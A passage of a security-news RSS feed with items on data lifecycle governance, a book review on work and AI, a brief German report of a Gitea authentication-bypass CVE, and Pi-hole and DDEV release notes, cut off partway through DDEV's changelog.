<p>The second principle is that not all data has equal value and treating it as though it does is a significant source of unnecessary cost and risk. A substantial proportion of the data consuming expensive primary storage in most enterprises has not been accessed in years and has no clear owner. It generates infrastructure spend, expands the attack surface and adds noise to AI environments, all without contributing any business value. Understanding this in granular detail across the full environment is the precondition for doing anything about it.</p>



<p>In many environments, the lifespan of data is shorter than organizations assume. Information that was critical six months ago may be commercially irrelevant today, but it continues to consume storage, appear in security scans and potentially influence AI outputs. The cost is real and recurring. The risk compounds silently. And the AI-readiness implications are direct: models trained or augmented with stale, duplicated or irrelevant data produce outputs that cannot be trusted, undermining confidence in the entire AI program.</p>



<p>The third principle is that lifecycle management and governance are the same discipline, not separate workstreams. Aligning data with its appropriate storage tier, based on value, access patterns, risk profile and compliance requirements, simultaneously reduces cost, narrows the attack surface and improves the quality of the datasets available for AI. These outcomes are not in tension. They are achieved through the same underlying capability: knowing what data exists and being able to act on that knowledge consistently across a fragmented, multi-platform environment.</p>



<p>This is not a one-time remediation project. The data growth that created the current situation is not slowing down — it is accelerating, driven by AI workloads, collaboration platforms and the instrumentation of almost every business process. The organizations that will manage this effectively are not those that periodically clean up their data estates; they are those that have built ongoing operational capability to align data with business value, continuously enforce governance and ensure that the information powering their AI and analytics initiatives is trusted, current and accessible. For CIOs, building that capability is not just a technology decision, it’s a business one.</p>



<p><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><strong><a href="https://www.cio.com/expert-contributor-network/">Want to join?</a></strong></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[We Are Not Machines by Sarah O’Connor review – can dignity at work survive the tech revolution?]]></title>
<description><![CDATA[A Financial Times journalist ponders the future of labour in world increasingly dominated by AI and automationIt’s never been easy to land and keep a decent job. But it feels like it’s getting harder. In June, the number of job vacancies in the UK fell to a five-year low; headlines warn of a loom...]]></description>
<link>https://tsecurity.de/de/3650824/ai-nachrichten/we-are-not-machines-by-sarah-oconnor-review-can-dignity-at-work-survive-the-tech-revolution/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3650824/ai-nachrichten/we-are-not-machines-by-sarah-oconnor-review-can-dignity-at-work-survive-the-tech-revolution/</guid>
<pubDate>Tue, 07 Jul 2026 10:02:47 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A Financial Times journalist ponders the future of labour in world increasingly dominated by AI and automation</p><p>It’s never been easy to land and keep a decent job. But it feels like it’s getting harder. In June, the number of job vacancies in the UK fell to a five-year low; headlines warn of a looming AI-employment shock. What might the future of work look like – and who or what will shape its terms? In her new book, Sarah O’Connor goes looking for answers in the modern collision of artificial intelligence, automation, and human labour.</p><p>This clash between human and machine – and the fight to secure decent working conditions even as the pressure to maximise production mounts – is nothing new. Neither are concerns about the health risks of repetitive factory work or the loss of creative craftsmanship and independent judgment in the wake of mechanisation. O’Connor has been a reporter at the Financial Times<em> </em>for nearly two decades, and although We Are Not Machines<em> </em>looks to the future, many of the threats AI poses to workers’ dignity and safety look a lot like reconfigurations of old battles. The book takes its title from the signs striking Swedish miners carried in 1969 as they protested their employers’ new methods of monitoring their output. “<em>Vi är ej maskiner</em>”, their signs read: “We are not machines.”</p> <a href="https://www.theguardian.com/books/2026/jul/07/we-are-not-machines-by-sarah-oconnor-review-can-dignity-at-work-survive-the-tech-revolution">Continue reading...</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[Security: Mehrere Probleme in bind (SUSE)]]></title>
<description><![CDATA[]]></description>
<link>https://tsecurity.de/de/3650580/unix-server/security-mehrere-probleme-in-bind-suse/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3650580/unix-server/security-mehrere-probleme-in-bind-suse/</guid>
<pubDate>Tue, 07 Jul 2026 07:46:13 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[ ]]></content:encoded>
</item>
<item>
<title><![CDATA[Gitea-Docker-RCE: CVE-2026-20896 ermöglicht Auth-Bypass über X-WEBAUTH-USER]]></title>
<description><![CDATA[LONDON (IT BOLTWISE) – Sicherheitsforscher melden eine kritische Schwachstelle in Gitea-Docker-Images, die nach kurzer Zeit bereits aktiv untersucht wird. Der Fehler CVE-2026-20896 (CVSS 9, 8) vertraut dem HTTP-Header „X-WEBAUTH-USER“ ungeprüft, wodurch ohne Passwort oder Token ein Anmeldestatus ...]]></description>
<link>https://tsecurity.de/de/3650113/it-security-nachrichten/gitea-docker-rce-cve-2026-20896-ermoeglicht-auth-bypass-ueber-x-webauth-user/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3650113/it-security-nachrichten/gitea-docker-rce-cve-2026-20896-ermoeglicht-auth-bypass-ueber-x-webauth-user/</guid>
<pubDate>Tue, 07 Jul 2026 01:37:58 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1024" height="1024" src="https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-gitea-cve-2026-20896-reverse-proxy-auth.jpg" class="attachment- size- wp-post-image" alt="" decoding="async" fetchpriority="high" srcset="https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-gitea-cve-2026-20896-reverse-proxy-auth.jpg 1024w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-gitea-cve-2026-20896-reverse-proxy-auth-300x300.jpg 300w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-gitea-cve-2026-20896-reverse-proxy-auth-150x150.jpg 150w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-gitea-cve-2026-20896-reverse-proxy-auth-768x768.jpg 768w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-gitea-cve-2026-20896-reverse-proxy-auth-840x840.jpg 840w, https://www.it-boltwise.de/wp-content/uploads/2026/07/ai-gitea-cve-2026-20896-reverse-proxy-auth-120x120.jpg 120w" sizes="(max-width: 1024px) 100vw, 1024px">LONDON (IT BOLTWISE) – Sicherheitsforscher melden eine kritische Schwachstelle in Gitea-Docker-Images, die nach kurzer Zeit bereits aktiv untersucht wird. Der Fehler CVE-2026-20896 (CVSS 9, 8) vertraut dem HTTP-Header „X-WEBAUTH-USER“ ungeprüft, wodurch ohne Passwort oder Token ein Anmeldestatus als beliebiger Nutzer möglich wird. Entscheidend ist die Default-Einstellung „REVERSE_PROXY_TRUSTED_PROXIES = *“, die faktisch jede Quelle akzeptiert. Wer […]</p>
<div><a href="https://www.it-boltwise.de/gitea-docker-rce-cve-2026-20896-ermoeglicht-auth-bypass-ueber-x-webauth-user.html">... den vollständigen Artikel <strong>»Gitea-Docker-RCE: CVE-2026-20896 ermöglicht Auth-Bypass über X-WEBAUTH-USER«</strong> lesen</a></div>
<p>Dieser Beitrag <a href="https://www.it-boltwise.de/gitea-docker-rce-cve-2026-20896-ermoeglicht-auth-bypass-ueber-x-webauth-user.html">Gitea-Docker-RCE: CVE-2026-20896 ermöglicht Auth-Bypass über X-WEBAUTH-USER</a> erschien als erstes auf <a href="https://www.it-boltwise.de/">IT BOLTWISE x Artificial Intelligence</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Pi-hole FTL v6.7, Web v6.6 and Core v6.4.3 Released!]]></title>
<description><![CDATA[As always, please read through the changelogs before updating with pihole -up Don’t forget, you can use Teleporter to export your configuration. It can be found under the settings menu of the web interface or on the command line with pihole-FTL --teleporter Docker has been tagged as 2026.07.0 Hig...]]></description>
<link>https://tsecurity.de/de/3650019/downloads/pi-hole-ftl-v67-web-v66-and-core-v643-released/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3650019/downloads/pi-hole-ftl-v67-web-v66-and-core-v643-released/</guid>
<pubDate>Tue, 07 Jul 2026 00:17:19 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[As always, please read through the changelogs before updating with pihole -up Don’t forget, you can use Teleporter to export your configuration. It can be found under the settings menu of the web interface or on the command line with pihole-FTL --teleporter Docker has been tagged as 2026.07.0 Highlights Security This release closes out six… <br> <a class="button small blue" href="https://pi-hole.net/blog/2026/07/06/pi-hole-ftl-v6-7-web-v6-6-and-core-v6-4-3-released/">Read more</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[v1.25.3]]></title>
<description><![CDATA[Installation
See the installation instructions for details, but it's easy:

macOS: brew install ddev/ddev/ddev or just brew upgrade ddev.
Linux: Use sudo apt-get update && sudo apt-get install ddev, see apt/yum installation
Windows and WSL2: Download the Windows Installer; you can run it for inst...]]></description>
<link>https://tsecurity.de/de/3649770/downloads/v1253/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3649770/downloads/v1253/</guid>
<pubDate>Mon, 06 Jul 2026 22:01:36 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>Installation</h2>
<p>See the <a href="https://docs.ddev.com/en/stable/users/install/ddev-installation/" rel="nofollow">installation instructions</a> for details, but it's easy:</p>
<ul>
<li>macOS: <code>brew install ddev/ddev/ddev</code> or just <code>brew upgrade ddev</code>.</li>
<li>Linux: Use <code>sudo apt-get update &amp;&amp; sudo apt-get install ddev</code>, see <a href="https://docs.ddev.com/en/stable/users/install/ddev-installation/#linux" rel="nofollow">apt/yum installation</a></li>
<li>Windows and WSL2: Download the <a href="https://ddev.com/download/" rel="nofollow">Windows Installer</a>; you can run it for install or upgrade.<br>
<g-emoji class="g-emoji" alias="warning">⚠️</g-emoji> <strong>Traditional Windows users (not WSL2)</strong>: If needed, the installer will prompt you to uninstall the previous system-wide installation to avoid conflicts with the new per-user installation.</li>
<li>Consider <code>ddev delete images</code> or <code>ddev delete images --all</code> after upgrading to free up disk space used by previous Docker image versions. This does no harm.</li>
<li>Consider <code>ddev config --auto</code> to update your projects to current configuration.</li>
</ul>
<h2>Highlights</h2>
<p>Blog announcement: <a href="https://ddev.com/blog/release-v1-25-3/" rel="nofollow">https://ddev.com/blog/release-v1-25-3/</a></p>
<ul>
<li><strong>New Docker Compose library:</strong> Improved UX during <code>ddev start</code> and <code>ddev stop</code>; the separate <code>~/.ddev/bin/docker-compose</code> binary is no longer needed and can be removed</li>
<li><strong>Faster <code>ddev start</code>:</strong> Reduced startup time by running post-healthcheck tasks concurrently, thanks to <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jonesrussell/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jonesrussell">@jonesrussell</a></li>
<li><strong>Faster <code>ddev stop</code>:</strong> Fixed a bug in the webserver startup script that added an unnecessary ~10-second delay</li>
<li><strong>MariaDB 12.3 LTS support</strong></li>
<li><strong>Podman and Docker rootless are no longer experimental:</strong> Both are now stable and ready for general use:
<ul>
<li><a href="https://docs.ddev.com/en/stable/users/install/docker-installation/#macos-podman-rootless" rel="nofollow">macOS (Podman rootless)</a></li>
<li><a href="https://docs.ddev.com/en/stable/users/install/docker-installation/#linux-docker-rootless" rel="nofollow">Linux/WSL2 (Docker rootless)</a></li>
<li><a href="https://docs.ddev.com/en/stable/users/install/docker-installation/#linux-podman-rootless" rel="nofollow">Linux/WSL2 (Podman rootless)</a></li>
</ul>
</li>
</ul>
<h2>Breaking Changes</h2>
<ul>
<li>Remove support for <code>XDG_CONFIG_HOME</code>, replaced by <code>DDEV_XDG_CONFIG_HOME</code>. Support for <code>~/.config/ddev</code> on Linux is unchanged. This change was needed because some IDEs, such as PhpStorm, don't always see <code>XDG_CONFIG_HOME</code> set in the terminal (see <a href="https://youtrack.jetbrains.com/projects/IJPL/issues/IJPL-1055/Load-interactive-shell-environment-variables-on-Linux" rel="nofollow">this issue</a>), which caused the IDE to recreate the <code>~/.ddev</code> directory repeatedly</li>
<li>Use stricter permissions for world-writable directories inside <code>ddev-webserver</code>. If you had <code>post-start</code> hooks that wrote to <code>/usr/local/bin</code>, update them to use <code>~/.local/bin</code> instead, thanks to <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AkibaAT/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AkibaAT">@AkibaAT</a></li>
<li>Move <code>N_PREFIX</code> from <code>/usr/local</code> to <code>/usr/local/n</code>. This shouldn't affect most people, unless you referenced a full path such as <code>/usr/local/bin/npm</code> - the new location is <code>/usr/local/n/bin/npm</code>, or simply use <code>npm</code> without a full path</li>
<li>Remove the <code>ddev dr</code> alias for <code>ddev drush</code>, since <code>dr</code> is now a built-in command for Drupal 11.4+</li>
</ul>
<h2>Features</h2>
<ul>
<li><a href="https://docs.ddev.com/en/stable/users/configuration/config/#nodejs_version" rel="nofollow">Node.js improvements</a>: preserve <code>nodejs_version</code> in <code>.ddev/config.yaml</code>, and install several Node.js versions with <code>n install &lt;version&gt;</code> inside the web container</li>
<li>Docker rootless on Linux no longer requires <code>no-bind-mounts</code>; disable it with <code>ddev config global --no-bind-mounts=false</code></li>
<li>Support the <a href="https://github.com/moby/moby/releases/tag/docker-v29.5.0">gvisor-tap-vsock</a> network driver in Docker rootless</li>
<li>Add new <a href="https://docs.ddev.com/en/stable/users/usage/commands/#dr" rel="nofollow"><code>ddev dr</code></a> command for Drupal 11.4+</li>
<li>Allow using Mutagen together with <code>ddev config global --use-hardened-images=true</code></li>
<li><code>ddev version</code> and <code>ddev config</code> now work even when Docker isn't running or is broken, and <code>ddev poweroff</code> shows progress output instead of appearing to hang</li>
<li>Improve <code>ddev list</code> and <code>ddev describe</code> layout on narrow terminals</li>
<li>Add OSC 8 terminal hyperlink support to <code>ddev list</code>, <code>ddev describe</code>, <code>ddev add-on list</code>, and <code>ddev add-on search</code></li>
<li>Show human-readable output when checking available disk space, thanks to <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/wolcen/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/wolcen">@wolcen</a></li>
<li>Always pull images when using <code>ddev start --no-cache</code></li>
<li>Respect the <code>COMPOSER_NO_BLOCKING</code> environment variable from the host in <code>ddev composer</code></li>
<li>Add <a href="https://docs.ddev.com/en/stable/users/configuration/config/#docker_buildx_version" rel="nofollow"><code>ddev config global --docker-buildx-version</code></a> to specify which Docker Buildx version to use (advanced use only)</li>
<li>Respect <code>docker-buildx</code> installed via snap on Linux</li>
<li>Support Debian, Kali, and eLxr WSL2 distros in the Windows installer, and avoid installing <code>docker-ce</code> over an existing Docker Desktop <code>docker</code> binary</li>
<li>Add <a href="https://docs.ddev.com/en/stable/users/usage/commands/#utility-addon-update-checker" rel="nofollow"><code>ddev utility addon-update-checker</code></a> command for add-on maintainers</li>
<li>Add <a href="https://docs.ddev.com/en/stable/users/extend/creating-add-ons/#interactive-actions" rel="nofollow"><code>#ddev-interactive</code></a> option for add-on actions, thanks to <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AkibaAT/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AkibaAT">@AkibaAT</a></li>
<li>Add <a href="https://docs.ddev.com/en/stable/users/extend/custom-docker-services/#omitting-comddev-labels-from-a-service" rel="nofollow"><code>x-ddev.omit-ddev-labels</code></a> extension to skip <code>com.ddev.*</code> label injection for specific services</li>
<li>Support the Flatpak user binary for DBeaver on Linux, thanks to <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/nickchomey/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/nickchomey">@nickchomey</a></li>
<li>Add a <a href="https://docs.ddev.com/en/stable/users/quickstart/#drupal-drupal-12-head" rel="nofollow">quickstart for Drupal 12 (HEAD)</a>, thanks to <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rpkoller/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rpkoller">@rpkoller</a></li>
<li>Add troubleshooting for <a href="https://docs.ddev.com/en/stable/users/topics/hosting/#lets-encrypt-errors" rel="nofollow">Let's Encrypt certificate failures</a>, thanks to <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jonpugh/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jonpugh">@jonpugh</a></li>
</ul>
<h2>Bug Fixes</h2>
<ul>
<li>Windows installer: fix installation on WSL2 Ubuntu 26.04, which previously failed due to the deprecated <code>wslu</code> package</li>
<li>Suppress 404 logs for <code>favicon.ico</code> and <code>robots.txt</code>; in some cases these caused Nginx to run a PHP script twice</li>
<li>Prevent recursion in global web command wrappers</li>
<li>Use the correct <code>settings.ddev.php</code> for each Drupal version</li>
<li>Fix a bug where <code>.ddev/apache/apache-site.conf</code> went missing when using a custom Nginx config</li>
<li>Detect a missing <code>docker</code> CLI, which is required when using Mutagen</li>
<li>Limit the <code>ENV HOME=""</code> workaround for MySQL 8.x to the database context only</li>
<li>Podman and macOS: restrict the <code>keep-id</code> userns setting to Linux only</li>
<li>Use the <code>nodejs_version</code> set during the <code>ddev-webserver</code> image build; if you installed global <code>npm</code> packages in <code>post-start</code> hooks, move them to <a href="https://docs.ddev.com/en/stable/users/extend/customizing-images/#adding-extra-dockerfiles-for-webimage-and-dbimage" rel="nofollow">extra Dockerfiles</a> instead</li>
<li>Use wrapper scripts in <code>ddev-dbserver</code> to avoid <code>mysql</code> deprecation warnings with MariaDB 11.x+</li>
<li>Warn when the <code>CAROOT</code> environment variable is set but the mkcert CA files (needed for HTTPS in your browser) are inaccessible</li>
<li>Normalize <code>OSTYPE</code> detection on Linux, thanks to <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Mikee-3000/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Mikee-3000">@Mikee-3000</a></li>
<li>Avoid double-sourcing bashrc configuration in <code>ddev ssh</code></li>
<li>Skip OS-generated metadata files (<code>.DS_Store</code>, <code>Thumbs.db</code>, <code>desktop.ini</code>) during custom-config detection and in <code>.ddev/.gitignore</code></li>
<li>Restore path autocompletion for <code>ddev add-on get</code></li>
<li>Don't prompt to run <code>ddev poweroff</code> after updating <code>ddev-ssh-agent</code></li>
<li>Fix a case typo in <code>ddev sequelace</code> so Sequel Ace is detected on case-sensitive macOS filesystems, thanks to <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mficzel/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mficzel">@mficzel</a></li>
</ul>
<h2>Internal Changes</h2>
<ul>
<li>Migrate <a href="https://docs.ddev.com/" rel="nofollow">DDEV documentation</a> from <a href="https://squidfunk.github.io/mkdocs-material/" rel="nofollow">Material for MkDocs</a> to <a href="https://zensical.org/" rel="nofollow">Zensical</a></li>
<li>Upgrade Bubble Tea (<code>ddev tui</code>) to v2</li>
<li>Add light/dark/system preference variants for the <a href="https://docs.ddev.com/en/stable/developers/brand-guide/" rel="nofollow">brand logo</a></li>
<li>Remove automated testing on macOS Intel; macOS amd64 binaries are still built and distributed, only CI testing on Intel hardware is removed</li>
<li>Add automated testing for macOS Podman rootless</li>
<li>Improve the test embargo system for Go, Bats, and CI workflows; tests can now be <a href="https://docs.ddev.com/en/stable/developers/maintainers/#skipping-tests" rel="nofollow">skipped</a> when needed</li>
<li>Add custom GitHub workflows to run tests on branches without opening a PR</li>
<li>Rework local HTTP test helpers for clearer failure output</li>
<li>Remove the build step for the Docker image used in <code>ddev auth ssh</code></li>
<li>Bump all Go dependencies</li>
</ul>
<h2>Minor Updates</h2>
<ul>
<li>PHP 8.4.22 and 8.5.7</li>
</ul>
<h2>What's Changed</h2>
<ul>
<li>test: Reenable Drupal 12 bats test (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4308873453" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8346" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8346/hovercard" href="https://github.com/ddev/ddev/pull/8346">#8346</a>) [skip ci] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rpkoller/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rpkoller">@rpkoller</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4308873453" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8346" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8346/hovercard" href="https://github.com/ddev/ddev/pull/8346">#8346</a></li>
<li>chore(claude): fix PreToolUse hook matcher for git commit static analysis (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4304236248" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8345" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8345/hovercard" href="https://github.com/ddev/ddev/pull/8345">#8345</a>) [skip ci] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4304236248" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8345" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8345/hovercard" href="https://github.com/ddev/ddev/pull/8345">#8345</a></li>
<li>docs(add-ons): Minor updates to creating-add-ons.md by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4311162289" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8347" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8347/hovercard" href="https://github.com/ddev/ddev/pull/8347">#8347</a></li>
<li>perf: combined startup time optimizations, for <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3892114614" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8096" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8096/hovercard" href="https://github.com/ddev/ddev/issues/8096">#8096</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jonesrussell/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jonesrussell">@jonesrussell</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3941786572" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8145" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8145/hovercard" href="https://github.com/ddev/ddev/pull/8145">#8145</a></li>
<li>fix(windows): remove wslu from installer, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4276951921" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8326" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8326/hovercard" href="https://github.com/ddev/ddev/issues/8326">#8326</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4335618741" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8351" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8351/hovercard" href="https://github.com/ddev/ddev/pull/8351">#8351</a></li>
<li>fix(webserver): replace phar.io/filippo.io links with GitHub releases, improve Dockerfile, for <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3794142159" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8012" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8012/hovercard" href="https://github.com/ddev/ddev/issues/8012">#8012</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4337118936" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8352" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8352/hovercard" href="https://github.com/ddev/ddev/pull/8352">#8352</a></li>
<li>docs(quickstart): add a quickstart for Drupal 12 (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4344681076" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8357" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8357/hovercard" href="https://github.com/ddev/ddev/pull/8357">#8357</a>) [skip ci] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rpkoller/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rpkoller">@rpkoller</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4344681076" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8357" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8357/hovercard" href="https://github.com/ddev/ddev/pull/8357">#8357</a></li>
<li>feat(docker): always pull images with <code>--no-cache</code> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4349539661" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8363" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8363/hovercard" href="https://github.com/ddev/ddev/pull/8363">#8363</a></li>
<li>fix(download-images): pull webserver image, for <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4231897705" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8304" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8304/hovercard" href="https://github.com/ddev/ddev/pull/8304">#8304</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4344757488" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8358" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8358/hovercard" href="https://github.com/ddev/ddev/pull/8358">#8358</a></li>
<li>fix(start): use image digest for rebuild detection, fix rand and ssh-agent data races, for <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3941786572" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8145" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8145/hovercard" href="https://github.com/ddev/ddev/pull/8145">#8145</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4345335786" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8359" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8359/hovercard" href="https://github.com/ddev/ddev/pull/8359">#8359</a></li>
<li>fix(test): skip TestCheckLiveConnectivityWithProject on Rancher/Colima/Lima, fix misleading WSL2 labels by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4351827772" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8365" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8365/hovercard" href="https://github.com/ddev/ddev/pull/8365">#8365</a></li>
<li>docs(windows): add WSL2 installation step to Docker docs by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4343533724" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8355" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8355/hovercard" href="https://github.com/ddev/ddev/pull/8355">#8355</a></li>
<li>chore: fix claude hooks and update agent docs [skip ci] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4359138300" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8370" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8370/hovercard" href="https://github.com/ddev/ddev/pull/8370">#8370</a></li>
